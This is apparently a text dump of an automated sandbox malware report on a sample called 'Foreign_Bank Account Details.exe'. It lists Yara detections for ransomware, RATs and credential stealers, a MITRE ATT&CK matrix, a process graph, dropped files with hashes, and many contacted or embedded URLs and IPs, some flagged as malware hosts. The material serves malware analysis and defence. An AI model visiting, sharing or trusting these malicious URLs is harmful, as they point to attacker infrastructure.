Yara detected Nemty Ransomware

Yara detected Clay Ransomware

Yara detected Thanos ransomware

Yara detected CryLock ransomware

Yara detected OCT Ransomware

Yara detected Snatch Ransomware

Yara detected Silvertor Ransomware

Yara detected Annabelle Ransomware

Yara detected Gocoder ransomware

Yara detected WannaRen ransomware

Yara detected Ryuk ransomware

Yara detected Zeoticus ransomware

Yara detected Porn Ransomware

Yara detected DarkSide Ransomware

Yara detected HiddenTear ransomware

Yara detected WormLocker Ransomware

Yara detected Mailto ransomware

Yara detected Voidcrypt Ransomware

Yara detected GoGoogle ransomware

Yara detected Axiom Ransomware

Yara detected Artemon Ransomware

Yara detected Covid19 Ransomware

Yara detected LokiLocker Ransomware

Yara detected Cryptolocker ransomware

Yara detected Marvel Ransomware

Yara detected Cute Ransomware

Yara detected 0x0M4R Ransomware

Yara detected Amnesia ransomware

Found potential ransomware demand text

Deletes shadow drive data (may be related to ransomware)

Found string related to ransomware

Modifies the hosts file

May drop file containing decryption instructions (likely related to ransomware)

System Summary:

Potential malicious icon found

Malicious sample detected (through community Yara rule)

Data Obfuscation:

Yara detected GuLoader

Yara detected Costura Assembly Loader

Yara detected AllatoriJARObfuscator

Yara detected MSILLoadEncryptedAssembly

Binary or sample is protected by dotNetProtector
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Yara detected VB6 Downloader Generic

Persistence and Installation Behavior:

Sample is not signed and drops a device driver

Boot Survival:

Yara detected LimeRAT

Hooking and other Techniques for Hiding and Protection:

May modify the system service descriptor table (often done to hook functions)

Hides that the sample has been downloaded from the Internet (zone.identifier)

Contains functionality to hide user accounts

Malware Analysis System Evasion:

Yara detected LimeRAT

Yara detected generic Shellcode Injector

Yara detected AntiVM3

Yara detected Windows Security Disabler

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Tries to detect Any.run

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Anti Debugging:

Hides threads from debuggers

HIPS / PFW / Operating System Protection Evasion:

Writes to foreign memory regions

Modifies the hosts file

Lowering of HIPS / PFW / Operating System Security Settings:

Yara detected LimeRAT

May enable test signing (to load unsigned drivers)

Modifies the hosts file

Stealing of Sensitive Information:

Yara detected Snake Keylogger

Yara detected Evrial Stealer

Yara detected GhostRat

Yara detected Mini RAT

Yara detected Koadic

Yara detected Generic Dropper

Yara detected ISRStealer

Yara detected Vidar stealer

Yara detected Predator

Yara detected Mimikatz
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Yara detected RevengeRAT

Yara detected LaZagne password dumper

Yara detected Discord Token Stealer

Yara detected MailPassView

Yara detected Parallax RAT

Yara detected AgentTesla

Yara detected Valak

Yara detected Pony

GuLoader behavior detected

Yara detected Telegram RAT

Yara detected Njrat

Yara detected Betabot

Yara detected AveMaria stealer

Yara detected Nukesped

Yara detected Codoso Ghost

Yara detected Growtopia

Yara detected Dorkbot

Found many strings related to Crypto-Wallets (likely being stolen)

Tries to steal Mail credentials (via file access)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal ftp login credentials

Remote Access Functionality:

Yara detected Snake Keylogger

Yara detected Evrial Stealer

Yara detected GhostRat

Yara detected Mini RAT

Yara detected Koadic

Yara detected Hancitor

Yara detected Meterpreter

Yara detected ISRStealer

Yara detected Vidar stealer

Yara detected Predator

Detected HawkEye Rat

Detected Remcos RAT

Yara detected RevengeRAT

Yara detected Metasploit Payload

Yara detected Discord Token Stealer

Yara detected Parallax RAT

Yara detected AgentTesla

Yara detected Valak

Detected Nanocore Rat

Yara detected NetWire RAT

Yara detected Linux EvilGnome RC5 key

Yara detected Pony

Detected Imminent RAT

Yara detected Telegram RAT

Yara detected Njrat

Yara detected Betabot

Yara detected AveMaria stealer

Yara detected Nukesped

Yara detected Codoso Ghost
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Yara detected Growtopia

Yara detected Dorkbot

Contains VNC / remote desktop functionality (version string found)

Mitre Att&ck Matrix

Initial Access Execution Persistence
Privilege
Escalation Defense Evasion

Credential
Access Discovery

Lateral
Movement Collection Exfiltration

Replication
Through
Removable
Media 1

Windows Management
Instrumentation 2 1 1

DLL Side-
Loading 1

DLL Side-
Loading 1

File and Directory
Permissions
Modification 1

OS Credential
Dumping 3

System Time
Discovery 1

Remote
Desktop
Protocol 1

Archive
Collected
Data 1 1

Exfiltration Over Other
Network Medium

Default
Accounts

Command and Scripting
Interpreter 1

Windows
Service 1 1

Access Token
Manipulation 1

Disable or Modify
Tools 1 1

Credential
API
Hooking 1

Peripheral Device
Discovery 1

Replication
Through
Removable
Media 1

Data from
Local
System 3

Exfiltration Over
Bluetooth

Domain
Accounts

Service Execution 2 Registry Run
Keys /
Startup
Folder 1

Windows
Service 1 1

Deobfuscate/Decode
Files or Information 1

Input
Capture 2 1

File and Directory
Discovery 3

SMB/Windows
Admin Shares

Email
Collection 1

Automated Exfiltration

Local
Accounts

At (Windows) Logon Script
(Mac)

Process
Injection 1 1 3

Obfuscated Files or
Information 3

Credentials in
Registry 1

System Information
Discovery 1 2 7

Distributed
Component
Object Model

Credential
API
Hooking 1

Scheduled Transfer

Cloud
Accounts

Cron Network
Logon Script

Registry Run
Keys / Startup
Folder 1

Software Packing 2 LSA Secrets Query Registry 1 SSH Input
Capture 2 1

Data Transfer Size
Limits

Replication
Through
Removable
Media

Launchd Rc.common Rc.common Timestomp 1 Cached
Domain
Credentials

Security Software
Discovery 4 6 1

VNC GUI Input
Capture

Exfiltration Over C2
Channel

External
Remote
Services

Scheduled Task Startup Items Startup Items DLL Side-Loading 1 DCSync Virtualization/Sandbox
Evasion 3 4 1

Windows
Remote
Management

Web Portal
Capture

Exfiltration Over
Alternative Protocol

Drive-by
Compromise

Command and Scripting
Interpreter

Scheduled
Task/Job

Scheduled
Task/Job

File Deletion 1 1 Proc
Filesystem

Process Discovery 3 Shared
Webroot

Credential
API Hooking

Exfiltration Over
Symmetric Encrypted
Non-C2 Protocol

Exploit Public-
Facing
Application

PowerShell At (Linux) At (Linux) Masquerading 3 1 /etc/passwd
and
/etc/shadow

Application Window
Discovery 1

Software
Deployment
Tools

Data Staged Exfiltration Over
Asymmetric Encrypted
Non-C2 Protocol

Supply Chain
Compromise

AppleScript At (Windows) At (Windows) Modify Registry 1 Network
Sniffing

Process Discovery Taint Shared
Content

Local Data
Staging

Exfiltration Over
Unencrypted/Obfuscated
Non-C2 Protocol

Compromise
Software
Dependencies
and
Development
Tools

Windows Command
Shell

Cron Cron Virtualization/Sandbox
Evasion 3 4 1

Input Capture Permission Groups
Discovery

Replication
Through
Removable
Media

Remote Data
Staging

Exfiltration Over
Physical Medium

Compromise
Software
Supply Chain

Unix Shell Launchd Launchd Access Token
Manipulation 1

Keylogging Local Groups Component
Object Model
and
Distributed
COM

Screen
Capture

Exfiltration over USB

Compromise
Hardware
Supply Chain

Visual Basic Scheduled
Task

Scheduled Task Process
Injection 1 1 3

GUI Input
Capture

Domain Groups Exploitation of
Remote
Services

Email
Collection

Commonly Used Port

Trusted
Relationship

Python Hypervisor Process Injection Hidden Files and
Directories 1

Web Portal
Capture

Cloud Groups Attack PC via
USB
Connection

Local Email
Collection

Standard Application
Layer Protocol

Hardware
Additions

JavaScript/JScript Valid
Accounts

Dynamic-link
Library Injection

Hidden Users 1 Credential
API Hooking

System Information
Discovery

Exploit
Enterprise
Resources

Remote Email
Collection

Alternate Network
Mediums

Behavior Graph
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Behavior Graph
ID: 1613

Sample: Foreign_Bank Account Details.exe

Startdate: 12/10/2021

Architecture: WINDOWS

Score: 100

prda.aadg.msidentity.com mail.cselegance.com 4 other IPs or domains

Snort IDS alert for
network traffic (e.g.

based on Emerging Threat
rules)

Multi AV Scanner detection
for domain / URL

Potential malicious
icon found 140 other signatures

Foreign_Bank Account Details.exe

        started       

mpam-f54ed867.exe

        started       

mpam-c45e5da5.exe

7

        started       

4 other processes

Writes to foreign memory
regions Tries to detect Any.run Hides threads from debuggers

RegAsm.exe

2 11

        started       

C:\Windows\...\mpuxagent.dll.mui, PE32

dropped

C:\Windows\...\ProtectionManagement.dll.mui, PE32

dropped

C:\Windows\...\MpEvMsg.dll.mui, PE32

dropped

193 other files (none is malicious)

dropped

Sample is not signed
and drops a device driver

MpSigStub.exe

        started       

C:\Windows\ServiceProfiles\...\mpavdlta.vdm, PE32+

dropped

C:\Windows\ServiceProfiles\...\mpasdlta.vdm, PE32+

dropped

C:\Windows\ServiceProfiles\...\MpSigStub.exe, PE32+

dropped

MpSigStub.exe

4

        started       

conhost.exe

        started       

conhost.exe

        started       

conhost.exe

        started       

conhost.exe

        started       

cselegance.com

116.0.120.83, 49812, 587

GTC-MY-PIP-ASGlobalTransitCommunications-MalaysiaMY

Malaysia

googlehosted.l.googleusercontent.com

142.250.186.33, 443, 49794

GOOGLEUS

United States

drive.google.com

172.217.168.46, 443, 49793

GOOGLEUS

United States

C:\Users\user\AppData\Roaming\...\tKZVPq.exe, PE32

dropped

C:\Windows\System32\drivers\etc\hosts, ASCII

dropped

Tries to harvest and
steal Putty / WinSCP

information (sessions,
passwords, etc)

Queries sensitive network
adapter information

(via WMI, Win32_NetworkAdapter,
often done to detect

virtual machines)

Tries to steal Mail
credentials (via file

access)
7 other signatures

conhost.exe

        started       C:\Windows\ServiceProfiles\...\mpavbase.vdm, PE32+

dropped

C:\Windows\ServiceProfiles\...\mpasbase.vdm, PE32+

dropped

Legend:

Process

Signature

Created File

DNS/IP Info

Is Dropped

Is Windows Process

Number of created Registry Values

Number of created Files

Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language

Is malicious

Internet

Hide Legend

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Screenshots
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Source Detection Scanner Label Link

Foreign_Bank Account Details.exe 33% ReversingLabs Win32.Trojan.FormBook

Source Detection Scanner Label Link

C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe 0% Metadefender Browse

C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe 0% ReversingLabs

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E
1F4A1E0\MpSigStub.exe

0% Metadefender Browse

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E
1F4A1E0\MpSigStub.exe

0% ReversingLabs

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E
1F4A1E0\mpasbase.vdm

0% ReversingLabs

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E
1F4A1E0\mpavbase.vdm

0% ReversingLabs

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F
7611E7D\ConfigSecurityPolicy.exe

0% ReversingLabs

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F
7611E7D\DefenderCSP.dll

0% ReversingLabs

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F
7611E7D\Drivers\WdBoot.sys

0% ReversingLabs

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F
7611E7D\Drivers\WdDevFlt.sys

0% ReversingLabs

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F
7611E7D\Drivers\WdFilter.sys

0% ReversingLabs

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F
7611E7D\Drivers\WdNisDrv.sys

0% ReversingLabs

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F
7611E7D\MpAsDesc.dll

0% ReversingLabs

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F
7611E7D\MpAzSubmit.dll

0% ReversingLabs

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F
7611E7D\MpClient.dll

0% ReversingLabs

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files
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Source Detection Scanner Label Link Download

35.3.MpSigStub.exe.15b1aab7177.152.unpack 100% Avira TR/Crypt.ZPACK.Gen Download File

35.3.MpSigStub.exe.15b1a6c67ca.70.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

35.3.MpSigStub.exe.15b1bbe6ede.15.unpack 100% Avira TR/Crypt.ZPACK.Gen Download File

35.3.MpSigStub.exe.15b1baec126.171.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

35.3.MpSigStub.exe.15b1beda3cf.131.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

35.3.MpSigStub.exe.15b1b4cce16.61.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

35.3.MpSigStub.exe.15b1a6c6d17.71.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

35.3.MpSigStub.exe.15b1bc1013a.25.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

35.3.MpSigStub.exe.15b1a7cfabd.178.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

35.3.MpSigStub.exe.15b1aab4af5.151.unpack 100% Avira TR/Crypt.ZPACK.Gen Download File

35.3.MpSigStub.exe.15b1bc6cad6.47.unpack 100% Avira TR/Patched.Ren.Gen2 Download File

35.3.MpSigStub.exe.15b1baec126.30.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

35.3.MpSigStub.exe.15b1a6c7264.164.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

35.3.MpSigStub.exe.15b1a70f33e.138.unpack 100% Avira TR/Crypt.ZPACK.Gen Download File

35.3.MpSigStub.exe.15b1baec126.44.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

35.3.MpSigStub.exe.15b1bc1013a.56.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

35.3.MpSigStub.exe.15b1b4cce16.210.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

35.3.MpSigStub.exe.15b1a6c7264.72.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

35.3.MpSigStub.exe.15b1bbe6ede.24.unpack 100% Avira TR/Crypt.ZPACK.Gen Download File

35.3.MpSigStub.exe.15b1ac963aa.134.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

35.3.MpSigStub.exe.15b1b4cce16.92.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

35.3.MpSigStub.exe.15b1a6c67ca.166.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

35.3.MpSigStub.exe.15b1a6c6d17.165.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

35.3.MpSigStub.exe.15b1bb8fa9d.13.unpack 100% Avira TR/Crypt.ZPACK.Gen Download File

No Antivirus matches

Source Detection Scanner Label Link

kiranacorp.com/oja 1% Virustotal Browse

kiranacorp.com/oja 0% Avira URL Cloud safe

www.bonusesfound.ml/update/index.php 13% Virustotal Browse

www.bonusesfound.ml/update/index.php 0% Avira URL Cloud safe

www.cooctdlfast.com/download.php? 3% Virustotal Browse

www.cooctdlfast.com/download.php? 0% Avira URL Cloud safe

110.42.4.180: 13% Virustotal Browse

110.42.4.180: 0% Avira URL Cloud safe

minetopsforums.ru/new_link3.php?site= 0% Avira URL Cloud safe

https://zangomart.com/soft/order/information/adobe2/index.htm 0% Avira URL Cloud safe

today-friday.cn/maran/sejvan/get.php 0% Avira URL Cloud safe

Yyl.mofish.cn/interface/SeedInstall.aspx 0% Avira URL Cloud safe

www.chambersign.org1 0% Avira URL Cloud safe

tempuri.org/ 0% Avira URL Cloud safe

185.172.110.217/robx/remit.jpg 0% Avira URL Cloud safe

https://anonfiles.com/ 0% Avira URL Cloud safe

www.whitehouseknutsford.co.uk/invoice-status/please-pull-invoice-684594/ 0% Avira URL Cloud safe

https://sumnermail.org/sumnerscools/school.php 0% Avira URL Cloud safe

139.162. 0% Avira URL Cloud safe

rghost.net/download/ 0% Avira URL Cloud safe

127.0.0.1:8000/web.html?url=yac.mx&rate=501&id=%s&key=%s&pm=1x 0% Avira URL Cloud safe

usa-national.info/gpu/band/grumble.dot 0% Avira URL Cloud safe

w.robints.us/cnzz.htmlwidth=0height=0 0% Avira URL Cloud safe

https://jovial-pasteur.159-89-118-202.plesk.page/wp-content/uploads/index.php 0% Avira URL Cloud safe

canonicalizer.ucsuri.tcs/3 0% Avira URL Cloud safe

sesame96.orange.ero0101.com/set_inf.php?id=ero257.wmv&sid= 0% Avira URL Cloud safe

mexicorxonline.com/glad/imagenes.html?disc=abuse&code=7867213 0% Avira URL Cloud safe

spywaresoftstop.com/load.php?adv=141 0% Avira URL Cloud safe

https://sotheraho.com/wp-content/fonts/reportexcelnew.php 0% Avira URL Cloud safe

Unpacked PE Files

Domains

URLs
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walden.co.jp/wp/divorce/divorce.php?id=zxjpyy5tb3jyaxnvb 0% Avira URL Cloud safe

eduardovolpi.com.br/flipbook/postal/services/parcel) 0% Avira URL Cloud safe

https://sweetsizing.com/vip/ 0% Avira URL Cloud safe

security-updater.com/binaries/ 0% Avira URL Cloud safe

www.fbcom.review/d/9.doc 0% Avira URL Cloud safe

5starvideos.com/main/K5 0% Avira URL Cloud safe

aklick.info/d.php?date= 0% Avira URL Cloud safe

77.81.225.138/carnaval2017.zip 0% Avira URL Cloud safe

www.slotch.com/ist/softwares/v4.0/istdownload.exe 0% Avira URL Cloud safe

https://go.wikitextbooks.info 0% Avira URL Cloud safe

https://bemojo.com/ds/161120.gif 0% Avira URL Cloud safe

avnpage.info/final3.php 0% Avira URL Cloud safe

esiglass.it/glassclass/glass.php 0% Avira URL Cloud safe

https://xmrig.com/wizard 0% Avira URL Cloud safe

https://rotf.lol/3u6d9443 0% Avira URL Cloud safe

tfu.ae/readme.txt 0% Avira URL Cloud safe

https://kiwisanagustin.com/wp-
admin/includes/opo.php%22%20method%3d%22post%22%20style%3d%22box-sizin

0% Avira URL Cloud safe

https://raw.githubusercontent.com/ 0% Avira URL Cloud safe

m.mworld.vn/MWorld30/data20.xm?a=getip&g=3&sex=Android 0% Avira URL Cloud safe

www.niepicowane.pl/ 0% Avira URL Cloud safe

office-service-secs.com/blm.task 0% Avira URL Cloud safe

www.51jetso.com/ 0% Avira URL Cloud safe

https://irecruiter.immentia.com/storage/framework/cache/data/0e/nC7vWe43YwJjj.php 0% Avira URL Cloud safe

js.f4321y.com/ 0% Avira URL Cloud safe

www.searchmaid.com/ 0% Avira URL Cloud safe

www.mva.by/tags/ariscanin1.e 0% Avira URL Cloud safe

javafx.com 0% Avira URL Cloud safe

masgiO.info/cd/cd.php?id=%s&ver=g 0% Avira URL Cloud safe

sds.clrsch.com/x 0% Avira URL Cloud safe

playsong.mediasongplayer.com/ 0% Avira URL Cloud safe

tiasissi.com.br/revendedores/jquery/ 0% Avira URL Cloud safe

207.154.225.82/report.json?type=mail&u=$muser&c= 0% Avira URL Cloud safe

app.whenu.com/Offers 0% Avira URL Cloud safe

www.xiuzhe.com/ddvan.exe 0% Avira URL Cloud safe

66.148.74.7/zu2/zc.php 0% Avira URL Cloud safe

t.zer9g.com/ 0% Avira URL Cloud safe

149.3.170.235/qw-fad/ 0% Avira URL Cloud safe

maringareservas.com.br/queda/index.php 0% Avira URL Cloud safe

shdjhgftyhgjklolkjio.dns.navy/bcz/document.doc 100% Avira URL Cloud malware

seunelson.com.br/js/content.xml 0% Avira URL Cloud safe

costacars.es/ico/ortodox.php 100% Avira URL Cloud malware

82.98.235. 0% Avira URL Cloud safe

verred.net/?1309921 0% Avira URL Cloud safe

https://pigeonious.com/img/ 0% Avira URL Cloud safe

team.afcorp.afg/chr/crt-ho_30/newjflibrary 0% Avira URL Cloud safe

data1.yoou8.com/ 0% Avira URL Cloud safe

https://jabaltoor.com/copy/img/blog/cat-post/r7gnor1h0.php 0% Avira URL Cloud safe

handjobheats.com/xgi-bin/q.php 0% Avira URL Cloud safe

www.pcpurifier.com/buynow/? 0% Avira URL Cloud safe

www.chatzum.com/statistics/?
affid=$RPT_AFFID&cztbid=$RPT_UID&inst=$RTP_SETINST&sethp=$RTP_SET

0% Avira URL Cloud safe

https://longurl.in/tllwu 0% Avira URL Cloud safe

%63%61%39%78%2e%63%6f%6d/ken.gif 0% Avira URL Cloud safe

https://cdn4.buysellads.net/pub/tempmail.js? 0% Avira URL Cloud safe

memberservices.passport.net/memberservice.srf 0% Avira URL Cloud safe

Source Detection Scanner Label Link

Domains and IPs

Contacted Domains
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General Information

Joe Sandbox Version: 33.0.0 White Diamond

Analysis ID: 1613

Start date: 12.10.2021

Start time: 09:34:58

Joe Sandbox Product: CloudBasic

Overall analysis duration: 0h 25m 42s

Hypervisor based Inspection enabled: false

Report type: light

Sample file name: Foreign_Bank Account Details.exe

Cookbook file name: default.jbs

Analysis system description: Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, IE 11, Chrome 93, Firefox 91, Adobe 
Reader DC 21, Java 8 Update 301

Run name: Suspected Instruction Hammering

Number of analysed new started processes 
analysed:

49

Number of new started drivers analysed: 0

Number of existing processes analysed: 0

Number of existing drivers analysed: 0

Number of injected processes analysed: 0

Technologies: HCA enabled
EGA enabled
HDC enabled
AMSI enabled

Analysis Mode: default

Analysis stop reason: Timeout

Detection: MAL

Name IP Active Malicious Antivirus Detection Reputation

cselegance.com 116.0.120.83 true false high

drive.google.com 172.217.168.46 true false high

googlehosted.l.googleusercontent.com 142.250.186.33 true false high

doc-0c-28-docs.googleusercontent.com unknown unknown false high

mail.cselegance.com unknown unknown false high

Name Malicious Antivirus Detection Reputation

110.42.4.180: true 13%, Virustotal, Browse
Avira URL Cloud: safe

unknown

tempuri.org/ true Avira URL Cloud: safe unknown

www.whitehouseknutsford.co.uk/invoice-status/please-pull-invoice-684594/ true Avira URL Cloud: safe unknown

spywaresoftstop.com/load.php?adv=141 true Avira URL Cloud: safe unknown

www.searchmaid.com/ true Avira URL Cloud: safe unknown

masgiO.info/cd/cd.php?id=%s&ver=g true Avira URL Cloud: safe unknown

www.trotux.com/?z= false high

avnisevinc.blogspot.com/ false high

IP Domain Country Flag ASN ASN Name Malicious

172.217.168.46 drive.google.com United States 15169 GOOGLEUS false

116.0.120.83 cselegance.com Malaysia 24218 GTC-MY-PIP-
ASGlobalTransitCommunicat
ions-MalaysiaMY

false

142.250.186.33 googlehosted.l.googleuser
content.com

United States 15169 GOOGLEUS false

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public
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Classification: mal100.rans.spre.troj.adwa.spyw.expl.evad.mine.winEXE@18/238@3/3

EGA Information: Failed

HDC Information: Failed

HCA Information: Failed

Cookbook Comments: Adjust boot time
Enable AMSI
Found application associated with file extension: .exe

Warnings:

Time Type Description

09:38:18 API Interceptor 2419x Sleep call for process: RegAsm.exe modified

09:38:31 Autostart Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run tKZVPq C:\Users\user\AppData\Roaming\tKZVPq\
tKZVPq.exe

09:38:39 Autostart Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run tKZVPq C:\Users\user\AppData\Roaming\tKZVP
q\tKZVPq.exe

09:42:01 API Interceptor 1x Sleep call for process: MpSigStub.exe modified

No context

No context

No context

No context

No context

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF50F.tmp.WERInternalMetadata.xml
Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exe

File Type: XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 8150

Entropy (8bit): 3.701378609955492

Encrypted: false

SSDEEP: 192:R9l7lZNivkGm6YHprgmfIAzMp1e/mf0oAqm:R9lnNi8Gm6YJrgmfIAce+f2

MD5: 13FBBE73A3181FAB56E004A45F2F044E

SHA1: 4ECB2F8AE0361C386AB5FDB6474FB2F741C77395

SHA-256: 7D5C2CCA7CEDCA030DDB8820D1A2AA3E96217904990D7CCF9889514DEBDA1653

SHA-512: 02F294B280B37658E8BFACD51B1B337CA8021D4A2332AFA0566EBCBDB9FD3A94D02C748E58BE4733174C39B142808B14288950AEE28DCD66F308060E93CC23E6

Show All

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Copyright Joe Security LLC 2021 Page 103 of 181



Malicious: false

Reputation: unknown

Preview:
..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.
o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.2.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.
<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...1.1.6.5...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.
1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.1.6.5.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.
t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.
d.>.7.5.4.0.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF50F.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF60A.tmp.xml
Process: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exe

File Type: XML 1.0 document, ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 4887

Entropy (8bit): 4.53407561277983

Encrypted: false

SSDEEP: 48:cvIwwtD8zs1Ge70xzI7VFJ5WS2Cfjkes3rm8M4JFK8nxq5VUmF4yq8vOyxq5VUKQ:uINf177y8ySPf4JFKex3DWRx3Ku+aTNd

MD5: 900A25CF2F3F7F3FA68468B0B9FE804F

SHA1: E1125FD87CB94836C72F70DD59EF504CEBE842CA

SHA-256: 5FFEFA77CD83BA3ECB290CAF787C5562E5639DF43F5067EBCA5A12466C7AA10C

SHA-512: 5BCEC2E85FF469ED426F209CEEF5DCF9D563EFB6DC82AEBD7252CBE471F231C0E016ED52B0838C738DDCD28171CAD04FA75A76245B6554263543CDA72B19B4
30

Malicious: false

Reputation: unknown

Preview:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">..  <tlm>..    <src>..      <desc>..        <mach>..          <os>..            <arg nm="vermaj" val="10" 
/>..            <arg nm="vermin" val="0" />..            <arg nm="verbld" val="19042" />..            <arg nm="vercsdbld" val="1165" />..            <arg nm="verqfe" val="1165" />..   
         <arg nm="csdbld" val="1165" />..            <arg nm="versp" val="0" />..            <arg nm="arch" val="9" />..            <arg nm="lcid" val="1033" />..            <arg n
m="geoid" val="244" />..            <arg nm="sku" val="48" />..            <arg nm="domain" val="0" />..            <arg nm="prodsuite" val="256" />..            <arg nm="ntprodtyp
e" val="1" />..            <arg nm="platid" val="2" />..            <arg nm="tmsi" val="221305644" />..            <arg nm="osinsty" val="1" />..            <arg nm="iever" val="11
.789.19041.0-11.0.1000" />..            <arg nm="portos" val="0" />..            <arg nm="ram" val="

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\tKZVPq.exe.log
Process: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe

File Type: ASCII text, with CRLF line terminators

Category: modified

Size (bytes): 42

Entropy (8bit): 4.0050635535766075

Encrypted: false

SSDEEP: 3:QHXMKa/xwwUy:Q3La/xwQ

MD5: 84CFDB4B995B1DBF543B26B86C863ADC

SHA1: D2F47764908BF30036CF8248B9FF5541E2711FA2

SHA-256: D8988D672D6915B46946B28C06AD8066C50041F6152A91D37FFA5CF129CC146B

SHA-512: 485F0ED45E13F00A93762CBF15B4B8F996553BAA021152FAE5ABA051E3736BCD3CA8F4328F0E6D9E3E1F910C96C4A9AE055331123EE08E3C2CE3A99AC2E177C
E

Malicious: false

Reputation: unknown

Preview:
1,"fusion","GAC",0..1,"WinRT","NotApp",1..

C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe

Process: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File Type: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows

Category: dropped

Size (bytes): 65440

Entropy (8bit): 6.049806962480652

Encrypted: false

SSDEEP: 768:X8XcJiMjm2ieHlPyCsSuJbn8dBhFwlSMF6Iq8KSYDKbQ22qWqO8w1R:rYMaNylPYSAb8dBnsHsPDKbQBqTY

